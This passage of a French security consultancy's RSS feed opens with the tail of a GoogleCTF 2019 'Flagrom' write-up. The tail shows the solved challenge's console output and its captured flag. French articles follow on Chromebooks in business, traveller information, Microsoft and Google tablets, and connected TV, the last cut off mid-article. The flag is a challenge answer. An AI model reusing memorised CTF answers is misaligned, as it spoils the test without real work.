[+] Receiving all data: Done (467B)<br />
[*] Process &lsquo;./flagrom&rsquo; stopped with exit code 0 (pid 7333)<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there<br />
<span class="w-grepped">CTF{flagrom-and-on-and-on}</span><br />
Clean exit.</span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Chromebook : le PC Cloud de Google à l’assaut des entreprises</title>
		<link>https://www.riskinsight-wavestone.com/2014/09/chromebook-pc-cloud-google-lassaut-entreprises/</link>
		
		<dc:creator><![CDATA[Dhrishti Caleechurn]]></dc:creator>
		<pubDate>Mon, 08 Sep 2014 10:06:23 +0000</pubDate>
				<category><![CDATA[Métiers - Stratégie & projets IT]]></category>
		<category><![CDATA[chromebook]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Google]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=5761</guid>

					<description><![CDATA[<p>Après Google Apps et ses terminaux sous Android, Google poursuit son offensive dans l’environnement de travail en s&#8217;attaquant au marché des PC avec ses Chromebook. Malgré un départ timide depuis leur commercialisation en 2011, Google persévère en multipliant les partenariats...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2014/09/chromebook-pc-cloud-google-lassaut-entreprises/">Chromebook : le PC Cloud de Google à l’assaut des entreprises</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><i>Après Google Apps et ses terminaux sous Android, Google poursuit son offensive dans l’environnement de travail en s&rsquo;attaquant au marché des PC avec ses <a href="http://www.google.com/intl/fr_fr/chrome/devices/">Chromebook</a>. Malgré un départ timide depuis leur commercialisation en 2011, Google persévère en multipliant les partenariats et commence à susciter l’intérêt en entreprise.</i></p>
<h2><b>Des ventes modestes mais des perspectives intéressantes</b></h2>
<p>Les ventes de Chromebook restent faibles : 2,9 millions d’unités ont été vendues en 2013 sur un marché total de 317 millions de PC, soit moins de 1% du marché. Elles sont également très ciblées, puisqu’elles se concentrent principalement en Amérique du Nord sur le marché de l’éducation.</p>
<p>Néanmoins, selon le cabinet d’étude Gartner, le marché du Chromebook devrait voir ses ventes augmenter de 79 % en 2014 par rapport à 2013 et <a href="http://www.boursier.com/actualites/economie/plus-de-5-millions-de-chromebooks-google-vendus-cette-annee-24946.html">les ventes devraient tripler d’ici 2017 pour atteindre 14,4 millions d’unités.</a> Des chiffres relativement modestes mais en contraste avec un marché du PC en berne.</p>
<h2><b>Le Chromebook concrétise la vision du PC selon Google</b></h2>
<p>Pour Google, un PC sert avant tout à utiliser des applications web sur internet. Dans cette optique, le géant de Mountain View a conçu Chrome OS, un système d’exploitation léger basé sur son navigateur Chrome. L’interface est minimale et épurée, privilégiant la simplicité et la réactivité. Chrome OS est conçu principalement pour un usage connecté : il permet d’exécuter des applications Web… en particulier les services fournis par Google : Google Apps, Google Play, Google Print…</p>
<p>La légèreté de l’OS permet aux constructeurs de proposer des appareils avec des configurations matérielles modestes et donc des prix très attractifs tant pour les Chromebook (ordinateurs portables) que pour les Chromebox (ordinateurs fixes, à la diffusion plus confidentielle).</p>
<p>Outre l’accès à des applications web, il est également possible d’utiliser des applications spécifiques sur  les Chromebook, les Chrome Apps. Celles-ci sont à base de technologies web mais avec l’apparence d&rsquo;une application classique. Elles permettent surtout un fonctionnement en mode déconnecté pour un usage hors ligne (c’est le cas de Gmail par exemple). Les Chrome Apps sont accessibles via le store applicatif Chrome Web Store, un peu à l&rsquo;image de Google Play pour Android.</p>
<h2><b>Des caractéristiques séduisantes pour les entreprises…</b></h2>
<p>Les Chromebook se caractérisent par leur facilité d’utilisation : démarrage et arrêt en quelques secondes, interface simple et intuitive, ajout d’applications via le Chrome Web Store, puissance et efficacité des outils Google parfaitement intégrés.</p>
<p>Les entreprises apprécieront également le peu d’opérations de maintenance nécessaires avec des mises à jour automatiques et fréquentes de l’OS et une gestion de la sécurité native (vérification au démarrage, navigateur sécurisé, données chiffrées…).</p>
<p>Google fournit également une console d’administration avec des fonctions minimales permettant de gérer une flotte de Chromebook : gestion des utilisateurs, de la configuration, des applications (applications préinstallées, liste blanche ou noire d’applications autorisées ou interdites), reporting.</p>
<p>Autant d’attributs qui rendent le Chromebook séduisant pour les entreprises.</p>
<h2><b>… mais une intégration compliquée avec l’existant de l’entreprise</b></h2>
<p>De nombreuses limites apparaissent en effet vite lors de l’utilisation d’un Chromebook en entreprise, la première concernant les applications.</p>
<p>Un Chromebook permet d’accéder aux applications au format web. Néanmoins, de nombreux sites intranet n’ont pas été conçus pour le navigateur Chrome mais pour Internet Explorer et pourraient nécessiter des adaptations. Les sites web utilisant des middlewares Java, Silverlight ou Flash ne sont également pas supportés.</p>
<p>Les applications Windows pour leur part ne fonctionnent pas sur un Chromebook. Certaines, encore peu nombreuses pour les applications professionnelles, sont disponibles au bon format dans le Chrome Web Store. Pour les autres, une solution  sera de se tourner vers des solutions de type publication d’applications ou de bureaux virtuels fournis par Citrix ou VMware, qui disposent de clients pour Chromebook. Ces clients (au format HTML 5) ne sont cependant pas encore aussi avancés que sur d’autres plateformes.</p>
<p>Les autres limites concernent l’intégration avec des services classiques d’infrastructure. Un Chromebook ne s’intègre pas dans un annuaire Active Directory et nécessite forcément un compte Google. Egalement gênant est la difficulté voire l’impossibilité d’utiliser des services aussi basiques que du partage de fichiers ou d’impression. Un utilisateur peut ainsi ajouter une imprimante mais cela nécessite d’utiliser les services Google Print mais également de disposer d’imprimantes « Cloud-Ready Printer, ce qui est rarement le cas en entreprise actuellement.</p>
<h2><b>Quel avenir dès lors pour les Chromebook en entreprise ?</b></h2>
<p>Le Chromebook représente une vraie rupture par rapport au modèle de PC classique sous Windows : plus simple, plus rapide, nécessitant peu de maintenance et peu coûteux, il reste cependant limité fonctionnellement et ne pourra rendre les mêmes services en entreprise. Est-ce à dire que c’est une voie sans issue ?</p>
<p>Pour des entreprises utilisant déjà les services Google comme Google Apps, la question de l’utilisation de Chromebook pour certains profils utilisateurs se doit d’être posée. Cette solution peut avoir un intérêt dans différents cas : utilisateurs mobiles travaillant principalement avec des outils collaboratifs, offre de type PC low cost avec un accès aux applications Windows via les solutions Citrix ou VMware, remplacement de clients légers, borne d’accès Intranet/Internet…</p>
<p>Pour les autres, Google continue à investir dans sa solution et à développer des partenariats pour améliorer sa plateforme : alliance avec Cisco pour disposer de Webex sur sa plateforme, travail avec Citrix et VMware pour améliorer l’accès aux applications Windows. L’engagement de constructeurs comme Lenovo ou HP est aussi à souligner.</p>
<p>Autant de signes positifs pour les Chromebook et leur développement en entreprise. À Google de se donner les moyens de percer pour de bon dans le monde de l’entreprise !</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2014/09/chromebook-pc-cloud-google-lassaut-entreprises/">Chromebook : le PC Cloud de Google à l’assaut des entreprises</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Information voyageur : et si on se projetait dans le futur ?</title>
		<link>https://www.riskinsight-wavestone.com/2013/09/information-voyageur-et-si-on-se-projetait-dans-le-futur/</link>
		
		<dc:creator><![CDATA[Hugues Charpentier]]></dc:creator>
		<pubDate>Fri, 13 Sep 2013 15:34:22 +0000</pubDate>
				<category><![CDATA[Métiers - Digital & innovation]]></category>
		<category><![CDATA[Métiers - Marketing et relation client]]></category>
		<category><![CDATA[Métiers - Transport]]></category>
		<category><![CDATA[Application]]></category>
		<category><![CDATA[covoiturage]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[information voyageur]]></category>
		<category><![CDATA[modes de déplacement]]></category>
		<category><![CDATA[optimisation de trajet]]></category>
		<category><![CDATA[vianavigo]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=4158</guid>

					<description><![CDATA[<p>D’après une étude publiée par le Commissariat Général au Développement Durable en avril 2013, seuls 28% des français pensent adopter des modes de déplacement « doux » (co-voiturage, vélo, voiture partagée) dans le futur. L’éventualité d’un avenir sans voiture reste assujettie à...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2013/09/information-voyageur-et-si-on-se-projetait-dans-le-futur/">Information voyageur : et si on se projetait dans le futur ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>D’après une<a href="http://www.developpement-durable.gouv.fr/IMG/pdf/CS413.pdf" target="_blank"> étude publiée par le Commissariat Général au Développement Durable </a>en avril 2013, seuls 28% des français pensent adopter des modes de déplacement « doux » (co-voiturage, vélo, voiture partagée) dans le futur. L’éventualité d’un avenir sans voiture reste assujettie à une amélioration des transports en commun, en termes d’offre (infrastructures et maillage) mais aussi en termes d’information (mise en valeur des solutions de transports alternatives déjà existantes).</em></p>
<p><em>Mettre à disposition du voyageur une information pertinente, facilement accessible, personnalisée et actualisée contribue à réduire son incertitude et à optimiser son trajet. Face à la persistance du recours à la voiture, l’information voyageur constitue donc un levier de démocratisation de l’offre de transport éco-mobile et d’accompagnement des Français dans la transformation de leurs habitudes. Enjeu pour les transporteurs, gestionnaires et autorités régulatrices, opportunité pour les acteurs d’intermédiation type Google, l’information voyageur constitue aujourd’hui un élément clé de la proposition de valeur adressée à des clients toujours plus connectés.</em></p>
<p><em>A l’heure des smartphones et des réseaux sociaux, repenser l’information voyageur passe forcément par la conduite de projets de transformation impactant le SI ainsi que les modalités de communication vers les clients. </em></p>
<p>&nbsp;</p>
<h2>4 axes clés d’évolution de l’Information voyageur</h2>
<h4>1. Valoriser la complémentarité entre les modes de déplacement</h4>
<p>De nouveaux modes de transport se développent et les chiffres laissent présager une forte croissance de leur utilisation : le nombre de bornes pour voitures partagées est ainsi passé de <strong>4 000 à 10 000</strong> en 2 ans et le nombre d’abonnés au vélib a augmenté de <strong>63%</strong> entre 2010 et 2012.</p>
<p>L’offre de transport existe et est publiée sur les plates-formes d’information voyageur mais peut être améliorée en intégrant les nouveaux moyens de transport, en permettant la comparaison entre des modes de déplacement différents, ou encore en favorisant une information multimodale communautaire, à l’exemple de vianavigo qui propose des informations pour l’ensemble des transports en commun en Ile-de-France.</p>
<p>En bref, il s’agit pour les acteurs du secteur de promouvoir la multimodalité tout en renforçant leur présence sur des réseaux sociaux toujours plus consultés.</p>
<h4><strong>2. Offrir une information personnalisée </strong></h4>
<p>Suggérer des parcours et moyens de transport pertinents exige d’être en capacité de fournir une information qui prend en compte les habitudes et caractéristiques de la personne effectuant la recherche (personne à mobilité réduite, personne chargée…) ainsi que sa localisation.</p>
<p>Les applications et dispositifs utilisant le guidage GPS indoor contribuent à aligner l’information sur les préférences du voyageur. L’application « MyWay Aéroports de Paris» permet par exemple au voyageur de calculer, en fonction de sa position, l’itinéraire vers un point d’intérêt le plus proche (comptoir d’information, espace détente, restaurant, boutique…).</p>
<p>Accroitre la valeur ajoutée de l’information passe par l’aptitude à proposer au voyageur des critères de recherche diversifiés qui permettent d’établir son « profil de préférences » sur mesure.</p>
<h4><strong>3. Offrir une information actualisée</strong></h4>
<p>L’information voyageur, qui couvre l’ensemble du parcours (du départ à l’arrivée), est intrinsèquement fluctuante. Il faut donc l’actualiser sur la base des critères de recherche choisis par le voyageur. Son itinéraire est alors mis à jour et intègre des facteurs dynamiques : disponibilité de parkings, évolution des conditions météorologiques, complexité de la correspondance ou encore affluence dans les rames.</p>
<p>Cette approche bénéficie au transporteur comme au voyageur : le premier valorise une offre de transport complète et diversifiée alors que le deuxième dispose d’une offre personnalisée et actualisée qui lui permet d’optimiser son trajet.</p>
<h4 align="left"><strong>4. Fiabiliser l’information</strong></h4>
<p>Enrichir l’information voyageur, c’est aussi repenser son modèle d’accès et de gestion. Ceci implique de fiabiliser  l’information via le recours à des sources complémentaires. En permettant aux usagers de communiquer des informations en temps réel au transporteur, l’information montante s’inscrit dans cette logique de diversification des sources. On pourrait par exemple adapter le modèle de l’application « Coyote » aux transports en commun. Cependant, les modalités d’industrialisation de la collecte de l’information ainsi que la capacité à en garantir la qualité et la cohérence sur les différents canaux constituent un véritable enjeu.</p>
<p>L’articulation vertueuse des axes d’évolution ici développés permet à l’information voyageur de valoriser les moyens de transports alternatifs existants, donc de pallier les insuffisances en matière de transports en commun dit « classiques ».</p>
<h2><strong>Quels acteurs pour porter ces évolutions ?</strong></h2>
<p align="left">L’évolution de l’information voyageur doit s’accompagner d’une distribution claire des rôles entre les différentes partie prenantes. Bien sûr, la conception, l’administration et l’exploitation des réseaux doit rester à la main des Autorités Organisatrices de Transport (AOT) et des transporteurs. Cependant, en termes d’information voyageur à proprement dite, le « marché » devient plus concurrentiel même si en France, la loi SRU (ou loi relative à la Solidarité et au Renouvellement Urbains) identifie spécifiquement l&rsquo;information multimodale comme une compétence des Conseils Régionaux, ce qui pose la question des modalités d&rsquo;accès à l’information en open data.</p>
<p>Malgré ce cadre légal contraignant, les sites d’information voyageur des exploitants et des autorités organisatrices devront se mesurer à la montée d’acteurs d’intermédiation car en effet, de nombreux axes de différentiation subsistent. Par exemple, Google a lancé Google Transit service, intégré à Google Maps qui crée une nouvelle classe de services aux voyageurs : largeur de l’audience, ergonomie universelle, intégration progressive avec l&rsquo;ensemble de l&rsquo;offre de Google (cartographie, services mobiles, contenu local).</p>
<p>Ces nouveaux acteurs pourraient fortement challenger la relation client des transporteurs…</p>
<p><em>Pour plus d&rsquo;informations sur le sujet, consultez <a href="http://transportshaker-solucom.fr/" target="_blank">Transport Shaker, le blog transport des consultants Solucom</a></em></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2013/09/information-voyageur-et-si-on-se-projetait-dans-le-futur/">Information voyageur : et si on se projetait dans le futur ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Microsoft Vs Google : qui pour détrôner l’iPad ? (2ème épisode)</title>
		<link>https://www.riskinsight-wavestone.com/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-2eme-episode/</link>
		
		<dc:creator><![CDATA[zephSolucomBO]]></dc:creator>
		<pubDate>Mon, 29 Oct 2012 13:54:28 +0000</pubDate>
				<category><![CDATA[Métiers - Digital & innovation]]></category>
		<category><![CDATA[Métiers - Marketing et relation client]]></category>
		<category><![CDATA[Métiers - Stratégie & projets IT]]></category>
		<category><![CDATA[Androïd]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[applications]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Nexus 7]]></category>
		<category><![CDATA[Surface]]></category>
		<category><![CDATA[tablette]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=2472</guid>

					<description><![CDATA[<p>(Article rédigé en collaboration avec Adrien Calvayrac, consultant) Dans la guerre qui met en concurrence Google et Microsoft dans le détrônement de l’Ipad, Google a opté pour une tablette low cost pour mettre en avant le contenu. Nous avons lors...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-2eme-episode/">Microsoft Vs Google : qui pour détrôner l’iPad ? (2ème épisode)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>(Article rédigé en collaboration avec Adrien Calvayrac, consultant)</p>
<p>Dans la guerre qui met en concurrence Google et Microsoft dans le détrônement de l’Ipad, Google a opté pour une tablette <em>low cost</em> pour mettre en avant le contenu. Nous avons lors du premier épisode vu les forces et faiblesses de cette stratégie. Qu’en est-il de notre deuxième géant Microsoft ? Qui de de Google ou de Microsoft saura s’imposer ?</p>
<h2>La convergence tablette – PC par Microsoft</h2>
<p>Après le succès de la Xbox et l’échec cuisant du Zune, Surface marque le grand retour de Microsoft sur le secteur du matériel. Mais cette fois-ci, sa position est plus délicate puisqu&rsquo;elle place l&rsquo;entreprise en concurrence directe avec ses partenaires constructeurs. Même si Microsoft a annoncé que Surface serait avant tout une vitrine de promotion de Windows 8, visant à encourager son adoption au détriment d&rsquo;Androïd, ses partenaires n’en demeurent pas moins inquiets</p>
<p>Avec Surface, Microsoft s’attaque au marché des tablettes sur deux segments différents. À travers la version ARM tout d’abord, la société espère concurrencer l&rsquo;iPad auprès du grand public. De format similaire à ce dernier, elle embarque Windows RT et une multitude d&rsquo;accessoires qui font défaut aux modèles de tablettes numériques actuels : port usb, lecteur de carte et grande capacité de stockage. Mais la nouveauté provient surtout du support intégré et de la <em>TouchCover</em> qui abrite clavier et pad : ainsi, la surface peut aussi bien être utilisée en format « tablette » que « PC ».</p>
<p>C’est ensuite le monde de l&rsquo;entreprise qui est dans le viseur de Surface, à travers sa version x86. Dotée d’un port USB 3.0, et surtout d’un processeur de PC, elle embarquera Windows 8 Pro : de quoi se substituer à un ordinateur professionnel.</p>
<p>« Surface est un PC. Surface est une tablette » a dit Steve Ballmer, illustrant ce que Surface peut apporter à l&rsquo;entreprise : la possibilité de fournir à ses utilisateurs un unique terminal bénéficiant des avantages des deux mondes : les applications pro, existantes dans l&rsquo;entreprise pour l&rsquo;un, la mobilité, l&rsquo;image et l&rsquo;expérience utilisateur pour l&rsquo;autre. Mais au-delà de cette nouvelle approche, il faudra également compter sur l&rsquo;écosystème riche de Microsoft, où la convergence peut aller encore plus loin : Pourquoi en effet ne pas envisager de commencer un jeu sur Xbox et de le continuer sur sa tablette ou son PC ?  Ou encore, de basculer l&rsquo;exécution d&rsquo;une application pro de son PC vers sa tablette ou son smartphone, le tout grâce aux services cloud SkyDrive ? Ces scénarios pourraient réellement fédérer les utilisateurs et apporter de l&rsquo;innovation par rapport aux usages actuels.</p>
<p>Hélas, c’est là également que se situe son talon d&rsquo;Achille, car cet écosystème n&rsquo;est pas encore équipé d&rsquo;applications tablettes. Car si Windows 8 Pro permet de conserver ses applications historiques, Windows RT part de zéro : Microsoft devra être persuasifs pour séduire les développeurs et obtenir rapidement du contenu et faire face à un concurrent fort de plus de 250 000 applications pour Ipad.</p>
<p>Autre point faible de la tablette Microsoft, son prix. Une tablette Surface 32 Go coûtera 489 euros TTC, soit 100 euros de moins que son équivalent Apple. A cela, s’ajoute le prix de la « Touch Cover » qui culmine à plus de 100 euros. Avec un tel positionnement tarifaire  il sera difficile pour Microsoft de justifier la pauvreté de services disponibles sur sa tablette Surface en comparaison de ceux disponibles sous iOS ou Androïd.</p>
<p>Microsoft n’a toujours pas divulgué le prix de la version Surface x86. Mais si ce prix se place au-delà des 800€, comme annoncé par certains constructeurs, sur quoi se portera le choix des utilisateurs (et des entreprises !) entre une tablette Surface, un Sony Vaio ou un Mac Book Air haut de gamme ? Vu sous un autre angle, les utilisateurs seront-ils prêts à investir 200 à 400€ de plus pour transformer leur PC en tablette, à performances égales ?</p>
<h2>Une actualité à suivre de près…</h2>
<p>De nombreuses questions restent donc ouvertes, et les prochaines annonces des constructeurs seront très attendues. Quel sera le positionnement tarifaire des Surfaces x86 ? Quel sera celui de l’iPad 7&Prime;, annoncé en octobre, par rapport à la Nexus 7 ?</p>
<p>Si Microsoft mise sur la convergence séduisante entre tablette et PC, qui pourrait être fort appréciée du côté des entreprises, cela reste porté par l’OS. La douce évolution du monde applicatif vers une indépendance vis-à-vis des OS pourrait-il faire pencher la balance du côté de Google, qui mise plutôt sur ses services en ligne ? Il faudra vraisemblablement attendre la fin d’année pour voir quelle stratégie a payé et qui est en mesure de croquer dans la pomme.</p>
<p>Pour lire la première partie, <a href="http://www.solucominsight.fr/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-1er-episode/" target="_blank">cliquez ici</a>.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-2eme-episode/">Microsoft Vs Google : qui pour détrôner l’iPad ? (2ème épisode)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Microsoft vs Google : qui pour détrôner l’iPad ? (1er épisode)</title>
		<link>https://www.riskinsight-wavestone.com/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-1er-episode/</link>
		
		<dc:creator><![CDATA[Imène Kabouya]]></dc:creator>
		<pubDate>Thu, 18 Oct 2012 06:45:52 +0000</pubDate>
				<category><![CDATA[Métiers - Digital & innovation]]></category>
		<category><![CDATA[Métiers - Marketing et relation client]]></category>
		<category><![CDATA[Métiers - Stratégie & projets IT]]></category>
		<category><![CDATA[Androïd]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[applications]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Nexus 7]]></category>
		<category><![CDATA[Surface]]></category>
		<category><![CDATA[tablette]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=2424</guid>

					<description><![CDATA[<p>(Article rédigé en collaboration avec Adrien Calvayrac, consultant) Construit sous l’impulsion d’Apple, le marché des tablettes numériques est aujourd’hui scindé en deux : l’historique Apple et son iPad d’un côté, Google et ses multiples constructeurs de l’autre. Dans ce duel de...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-1er-episode/">Microsoft vs Google : qui pour détrôner l’iPad ? (1er épisode)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>(Article rédigé en collaboration avec Adrien Calvayrac, consultant)<em><br />
</em></p>
<p><em>Construit sous l’impulsion d’Apple, le marché des tablettes numériques est aujourd’hui scindé en deux : l’historique Apple et son iPad d’un côté, Google et ses multiples constructeurs de l’autre.</em></p>
<p><em>Dans ce duel de titans, quels sont les terrains d’affrontement ? Et surtout, qui aura le dernier mot ?</em></p>
<h2>Un marché bipolaire</h2>
<p>L’affrontement qui oppose Apple à ses rivaux ne se joue pas sur le terrain du matériel, où l’iPad règne en maître à près de 50 points devant son premier concurrent.  L’affrontement se joue sur le système d’exploitation, où iOS culmine à 57,6% de parts de marché, contre un Androïd en-dessous de la barre des 40%.</p>
<p>Face à la main mise d’Apple, deux autres géants de l&rsquo;informatique veulent eux aussi tenter la stratégie du « big Apple » &#8211; un contenant maîtrisé et un écosystème solide :</p>
<ul>
<li>Google, leader du marché OS sur smartphones avec Androïd et principal concurrent d&rsquo;Apple sur les tablettes, lance une tablette à son nom, en partenariat avec le constructeur Asus. La Nexus 7, au format novateur de 7&Prime;, adresse un nouveau marché avec un prix d&rsquo;entrée très agressif.</li>
<li>Microsoft, leader incontesté du marché OS sur PC, lance une tablette de sa propre fabrication. La Surface sera déclinée sous 2 versions : une version ARM tournée vers le grand public, concurrente directe de l&rsquo;iPad, et une version x86 plutôt tournée vers le monde professionnel.</li>
</ul>
<h2>Une stratégie  low-cost pour permettre à tous l’accès aux services Google</h2>
<p>Pour moins de 200$, Google casse les prix du marché, en proposant une tablette aux caractéristiques plutôt « correctes » : processeur Tegra 3, 1 Go de RAM, une résolution de 1280&#215;800 et une autonomie de plus de  9h en lecture vidéo HD. Ses accessoires sont en revanche assez réduits car elle n’intègre pas de caméra au dos, ni de sortie vidéo ou encore de lecteur de carte. Toutefois, la Nexus 7 se distingue par une bonne connectivité avec Wifi, Bluetooth et NFC.</p>
<p>L&rsquo;objectif annoncé de ce nouveau produit est avant tout de mettre en avant le contenu, les bénéfices de la firme sur la vente de la tablette étant réduits au maximum afin de permettre à toutes les bourses l’accès aux services Google. Son format « livre », 7 pouces pour 340g, devrait d&rsquo;ailleurs permettre le lancement du service ebook de la marque dans les meilleures conditions.</p>
<p>À travers la Nexus 7, Google veut donc s&rsquo;assurer de la mise en avant de ses propres services en ligne et éviter ainsi qu’elle ne soit qu’une passerelle vers internet et les multiples offres concurrentes. Mais au-delà de la promotion de services, la tablette pourrait bien avoir un impact sur les prix du marché, incitant les autres constructeurs à réduire leurs marges pour rester dans la course.</p>
<p>Que serait alors la stratégie d’Apple, qui se positionne sur un marché « haut de gamme et pratique aujourd’hui près de 40% de marge sur ses produits ?</p>
<p>Peut-on s&rsquo;attendre à voir évoluer le marché des tablettes vers celui du PC : de forts volumes mais de faibles marges unitaires ?</p>
<p>La réponse dépendra fortement du succès rencontré par le nouveau-né de Google. Si la version 16 Go est déjà en rupture de stock, moins d&rsquo;un mois après sa sortie, c&rsquo;est à plus long terme qu&rsquo;il faudra l&rsquo;étudier, afin de s&rsquo;affranchir de l&rsquo;effet d&rsquo;annonce. Car si les tablettes Androïd sont encore loin derrière l&rsquo;iPad c&rsquo;est en partie à cause de leur faiblesse en contenus et applications dédiées disponibles. C&rsquo;est sur ce point-là que Google sera attendu : hormis la taille de l’écran, il faudra justifier la valeur ajoutée d&rsquo;une tablette 7&Prime; par rapport à un smartphone, que l&rsquo;utilisateur possède généralement déjà.</p>
<p>Mais si  Google doit encore faire ses preuves, qu’en est-il de Microsoft ? C’est ce que nous verrons lors du prochain épisode…</p>
<p>Pour lire la suite, <a href="http://www.solucominsight.fr/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-2eme-episode/" target="_blank">cliquez ici</a>.</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2012/10/microsoft-vs-google-qui-pour-detroner-lipad-1er-episode/">Microsoft vs Google : qui pour détrôner l’iPad ? (1er épisode)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>La télé connectée, fiction ou réalité ?</title>
		<link>https://www.riskinsight-wavestone.com/2012/07/la-tele-connectee-fiction-ou-realite/</link>
		
		<dc:creator><![CDATA[Benoît Paroissin]]></dc:creator>
		<pubDate>Fri, 13 Jul 2012 12:44:59 +0000</pubDate>
				<category><![CDATA[Métiers - Marketing et relation client]]></category>
		<category><![CDATA[Métiers - Stratégie & projets IT]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HbbTV]]></category>
		<category><![CDATA[intégration de contenus]]></category>
		<category><![CDATA[smart TV]]></category>
		<category><![CDATA[télévision connectée]]></category>
		<category><![CDATA[télévision hybride]]></category>
		<category><![CDATA[yahoo]]></category>
		<guid isPermaLink="false">http://www.solucominsight.fr/?p=2019</guid>

					<description><![CDATA[<p>Selon l’Institut de recherche français l’Idate, les téléviseurs connectés seront d’ici à 2020 utilisés pour afficher environ 63 % des nouveaux services de vidéos diffusés par des géants de l’internet tels que Google, YouTube, Facebook ou encore Amazon. L’institut prévoit...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2012/07/la-tele-connectee-fiction-ou-realite/">La télé connectée, fiction ou réalité ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Selon l’Institut de recherche français l’Idate, les téléviseurs connectés seront d’ici à 2020 utilisés pour afficher environ 63 % des nouveaux services de vidéos diffusés par des géants de l’internet tels que Google, YouTube, Facebook ou encore Amazon. L’institut prévoit également que le marché de la télévision dans le monde augmentera de 4,7 % par an pour atteindre 355 milliards d’euros en 2020. Mais la télévision connectée n’est-elle pas déjà une réalité aujourd’hui ?</p>
<h2>Les prémisses de la télévision connectée</h2>
<p>La télévision connectée au réseau internet, qui permet aux usagers d’accéder à des services supplémentaires, est déjà une réalité. Et n’en déplaise à Google et à Apple, aujourd’hui cette réalité nous la devons d’abord aux <em>set-top-box</em> des opérateurs internet (<em>Freebox Revolution</em> …) mais aussi et surtout aux télévisions, dont la connectivité internet devient progressivement la norme (<a href="http://www.samsung.com/fr/article/tommorow-s-tv-is-here-with-smart-tv" target="_blank">SamsungSmartTV</a>, <a href="http://www.sony.fr/hub/televiseur-lcd/gamme/tv-wifi" target="_blank">SonyInternetTV</a>, <a href="http://fr.consumer.toshiba.eu/fr/articles/standard/toshiba-places" target="_blank">ToshibaPlaces…)</a>.  Sur un site marchand de produits électroniques bien connu, 109 modèles vendus sur 204 sont d’ailleurs des télévisions connectées !</p>
<p>Depuis quelques temps nous sommes passés de l’ère du terminal passif à celle du terminal actif qui permet : d’accéder à des programmes vidéos (séries, films…) à la demande ou présents sur le réseau local (ordinateur, terminaux mobiles…) ;</p>
<ul>
<li>de naviguer sur le web, consulter ses emails, sa page Facebook, les réseaux Twitter,</li>
<li>de faire de la visiophonie (Skype…) ;</li>
<li>de jouer (Angry Birds&#8230;) ;</li>
<li>d’accéder à des places de marché d’applications permettant d’étendre encore plus la gamme des services connectés proposés&#8230;</li>
</ul>
<h2><strong>L’enrichissement des programmes diffusés</strong></h2>
<p>Pour la plupart, ces services, s’ils sont bien connectés à internet, ne le sont en revanche pas avec la partie télévision, c’est-à-dire les programmes diffusés.</p>
